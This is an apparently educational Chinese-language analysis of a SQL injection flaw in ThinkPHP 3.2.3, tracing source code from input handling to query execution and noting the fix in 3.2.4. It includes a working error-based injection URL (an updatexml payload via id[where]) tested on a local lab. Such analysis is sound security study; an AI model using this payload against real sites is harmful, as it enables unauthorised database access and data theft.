ThinkPHP3.2.3SQL注入分析
- 最近看到一些CMS都是ThinkPHP3.2.3二开的,因此就先来看看ThinkPHP3.2.3的SQL注入,同时也为ThinkPHP3.2.3的远程命令执行漏洞(CNVD-2021-32433)做准备。
环境搭建
- ThinkPHP3.2.3开发手册
- ThinkPHP3.2.3Download
- ThinkPHP3.2.3 SQL注入分析----水泡泡
- 直接放WWW目录访问,会自动生成一些基础配置文件。创建数据库,配置环境。
create database TP3;
use TP3;
create table tp_user(id int(8) AUTO_INCREMENT PRIMARY KEY,username varchar(255),password varchar(255));
insert into tp_user(id,username,password) value(1,'admin','admin');
- 配置当前模块配置文件(
Application/Home/Conf/config.php
),也可以配置管理配置文件(ThinkPHP/Conf/convention.php
) - 详情请参考ThinkPHP3.2.3开发手册---配置
<?php
return array(
//'配置项'=>'配置值'
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => 'localhost', // 服务器地址
'DB_NAME' => 'TP3', // 数据库名
'DB_USER' => 'root', // 用户名
'DB_PWD' => 'root', // 密码
'DB_PORT' => '3306', // 端口
'DB_PREFIX' => 'tp_', // 数据库表前缀
'DB_PARAMS' => array(), // 数据库连接参数
'DB_DEBUG' => false, // 数据库调试模式 开启后可以记录SQL日志
'DB_FIELDS_CACHE' => true, // 启用字段缓存
'DB_CHARSET' => 'utf8', // 数据库编码默认采用utf8
'DB_DEPLOY_TYPE' => 0, // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)
'DB_RW_SEPARATE' => false, // 数据库读写是否分离 主从式有效
'DB_MASTER_NUM' => 1, // 读写分离后 主服务器数量
'DB_SLAVE_NO' => '', // 指定从服务器序号
);
-
配置好环境后,在
Application/Home/Controller/IndexController.class.php
文件中添加下列方法,数据库连接成功。 -
这里的M函为ThinkPHP大写字母函数的一种,这为操作数据库中的
tp_user
表,因为数据库表前缀写配置文件了,因此不需要添加,如果没写则默认为空,再去配置文件里读取,也可再次添加。M('user','tp_)
都是等价的,再执行find方法。
public function Test(){
$id = '1';
$data = M('user')->find($id);
dump($data);
}
where
- 漏洞测试环境搭建,再上面同一个文件,添加下列操作方法。
- http://127.0.0.1/TP3.2.3/index.php/home/Index/sql?id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
- SELECT * FROM
`
tp_user`
WHERE 1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- LIMIT 1 (tp_user两边有反引号)
public function SQL(){
$id = I('get.id');
$res = M('user')->find($id);
dump($res);
}
I函数
- 跟进I函数,对应Input就好记住了,然后这里不清楚为啥的就是给
$input
变量一个浅复制是为啥,准确的说是该变量为啥要指向$_GET请求的内存地址,直接赋值也行啊,完成一次请求解析了,最后设置为空就即可了啊。
function I($name,$default='',$filter=null,$datas=null) {
static $_PUT = null;
// .... $name="get.id"
if(strpos($name,'.')) { // 指定参数来源
list($method,$name) = explode('.',$name,2);
}else{ // 默认为自动判断
$method = 'param';
}
switch(strtolower($method)) {
case 'get' :
$input =& $_GET;
break;
//....... 这里我们给定的get请求
}if(''==$name){
// 获取全部变量
}elseif(isset($input[$name])) { // 取值操作
$data = $input[$name];
$filters = isset($filter)?$filter:C('DEFAULT_FILTER');
// ......这里 读取配置文件默认的过滤方式---htmlspecialchars 编码
}
is_array($data) && array_walk_recursive($data,'think_filter');
return $data; //$data=array('where' => '1 and updatexml(1,concat(0x7e,user(),0x7e),1)--',)
}
- 这里还有配置文件默认的过滤
ThinkPHP/Conf/convention.php
的DEFAULT_FILTER
=>htmlspecialchars
,进行实体编码。再调用think_filter
函数进行过滤,黑名单过滤,但是并没有包含updatexml
,extractvalue
等报错注入函数。
function think_filter(&$value){
// TODO 其他安全过滤
// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}
M函数
- 这里没什么好分析的,就是实例化model类型,这里就是操作数据库的
tp_user
表。
find
- 该函数还算比较长,将其他走不到的代码进行省略了,参数传递就是上面的
$data
。
public function find($options=array()) {
// 根据复合主键查找记录
$pk = $this->getPk();
// 总是查找一条记录
$options['limit'] = 1;
// 分析表达式
$options = $this->_parseOptions($options);
$resultSet = $this->db->select($options);
if(false === $resultSet) {
return false;
}
if(empty($resultSet)) {// 查询结果为空
return null;
}
if(is_string($resultSet)){
return $resultSet;
}
// 读取数据后的处理
$data = $this->_read_data($resultSet[0]);
$this->_after_find($data,$options);
if(!empty($this->options['result'])) {
return $this->returnResult($data,$this->options['result']);
}
$this->data = $data;
if(isset($cache)){
S($key,$data,$cache);
}
return $this->data;
}
- 跟进
_parseOptions
函数主要是获取表名tp_user
,记录操作模型user
,还有字段名和字段类型。_options_filter
函数默认为空。
protected function _parseOptions($options=array()) {
if(is_array($options))
$options = array_merge($this->options,$options);
if(!isset($options['table'])){
// 自动获取表名
$options['table'] = $this->getTableName();
$fields = $this->fields;
}else{
// 指定数据表 则重新获取字段列表 但不支持类型检测
$fields = $this->getDbFields();
}
// 数据表别名
if(!empty($options['alias'])) {
$options['table'] .= ' '.$options['alias'];
}
// 记录操作的模型名称
$options['model'] = $this->name;
// 字段类型验证
if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
// 对数组查询条件进行字段类型检查
foreach ($options['where'] as $key=>$val){
$key = trim($key);
if(in_array($key,$fields,true)){
if(is_scalar($val)) {
$this->_parseType($options['where'],$key);
}
}elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
if(!empty($this->options['strict'])){
E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
}
unset($options['where'][$key]);
}
}
}
// 查询过后清空sql表达式组装 避免影响下次查询
$this->options = array();
// 表达式过滤
$this->_options_filter($options);
return $options;
}
- 回到find函数,向下走跟进select方法。由于我们没有
bind
参数,因此不是PDO预编译。
public function select($options=array()) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$sql = $this->buildSelectSql($options);
$result = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
return $result;
}
- 再跟进buildSelectSql,进行SQL语句的组装。
public function buildSelectSql($options=array()) {
if(isset($options['page'])) {
// 根据页数计算limit
list($page,$listRows) = $options['page'];
$page = $page>0 ? $page : 1;
$listRows= $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);
$offset = $listRows*($page-1);
$options['limit'] = $offset.','.$listRows;
}
$sql = $this->parseSql($this->selectSql,$options);
return $sql;
}
- parseTable,对操作的表进行检测,两边加上反引号,避免干扰。
- 再跟进parseSql
public function parseSql($sql,$options=array()){
$sql = str_replace(
array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
$this->parseField(!empty($options['field'])?$options['field']:'*'),
$this->parseJoin(!empty($options['join'])?$options['join']:''),
$this->parseWhere(!empty($options['where'])?$options['where']:''),
$this->parseGroup(!empty($options['group'])?$options['group']:''),
$this->parseHaving(!empty($options['having'])?$options['having']:''),
$this->parseOrder(!empty($options['order'])?$options['order']:''),
$this->parseLimit(!empty($options['limit'])?$options['limit']:''),
$this->parseUnion(!empty($options['union'])?$options['union']:''),
$this->parseLock(isset($options['lock'])?$options['lock']:false),
$this->parseComment(!empty($options['comment'])?$options['comment']:''),
$this->parseForce(!empty($options['force'])?$options['force']:'')
),$sql);
return $sql;
}
- 再跟进
parseWhere
,这里因此传递的是字符,因此直接到最后字符where
+ SQL语句。 - 这里就是问题的所在,因为上个pareSql方法,将数组直接传递了进来,因此我们可以控制parseWhere的传输传递,这里就直接拼接了我们控制的字符。
protected function parseWhere($where) {
$whereStr = '';
if(is_string($where)) {
// 直接使用字符串条件
$whereStr = $where;
}else{ // 使用数组表达式
$operate = isset($where['_logic'])?strtoupper($where['_logic']):'';
if(in_array($operate,array('AND','OR','XOR'))){
// 定义逻辑运算规则 例如 OR XOR AND NOT
$operate = ' '.$operate.' ';
unset($where['_logic']);
}else{
// 默认进行 AND 运算
$operate = ' AND ';
}
foreach ($where as $key=>$val){
if(is_numeric($key)){
$key = '_complex';
}
if(0===strpos($key,'_')) {
// 解析特殊条件表达式
$whereStr .= $this->parseThinkWhere($key,$val);
}else{
// 查询字段的安全过滤
// if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){
// E(L('_EXPRESS_ERROR_').':'.$key);
// }
// 多条件支持
$multi = is_array($val) && isset($val['_multi']);
$key = trim($key);
if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段
$array = explode('|',$key);
$str = array();
foreach ($array as $m=>$k){
$v = $multi?$val[$m]:$val;
$str[] = $this->parseWhereItem($this->parseKey($k),$v);
}
$whereStr .= '( '.implode(' OR ',$str).' )';
}elseif(strpos($key,'&')){
$array = explode('&',$key);
$str = array();
foreach ($array as $m=>$k){
$v = $multi?$val[$m]:$val;
$str[] = '('.$this->parseWhereItem($this->parseKey($k),$v).')';
}
$whereStr .= '( '.implode(' AND ',$str).' )';
}else{
$whereStr .= $this->parseWhereItem($this->parseKey($key),$val);
}
}
$whereStr .= $operate;
}
$whereStr = substr($whereStr,0,-strlen($operate));
}
return empty($whereStr)?'':' WHERE '.$whereStr;
}
- 最后一直向上
return
,一直到select
方法,SQL语句为SELECT * FROM`
tp_user`
WHERE 1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- LIMIT 1 ,在跟进query方法。
public function query($str,$fetchSql=false) {
$this->initConnect(false);
if ( !$this->_linkID ) return false;
$this->queryStr = $str;
if(!empty($this->bind)){
$that = $this;
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
}
if($fetchSql){
return $this->queryStr;
}
//释放前次的查询结果
if ( !empty($this->PDOStatement) ) $this->free();
$this->queryTimes++;
N('db_query',1); // 兼容代码
// 调试开始
$this->debug(true);
$this->PDOStatement = $this->_linkID->prepare($str);
if(false === $this->PDOStatement){
$this->error();
return false;
}
foreach ($this->bind as $key => $val) {
if(is_array($val)){
$this->PDOStatement->bindValue($key, $val[0], $val[1]);
}else{
$this->PDOStatement->bindValue($key, $val);
}
}
$this->bind = array();
try{
$result = $this->PDOStatement->execute();
// 调试结束
$this->debug(false);
if ( false === $result ) {
$this->error();
return false;
} else {
return $this->getResult();
}
}catch (\PDOException $e) {
$this->error();
return false;
}
}
- 初始化数据库,创建PDO连接。一直到170行的execute方法,进行数据库查询。
总结
- SQL原因就是未对数据进行检验直接进行了拼凑。而最终则是$options可控,而v3.2.4 将 $options 和 $this->options 进行了区分,参数不可控无法干扰this->options,因此无法产生注入。
逆水行舟,不进则退。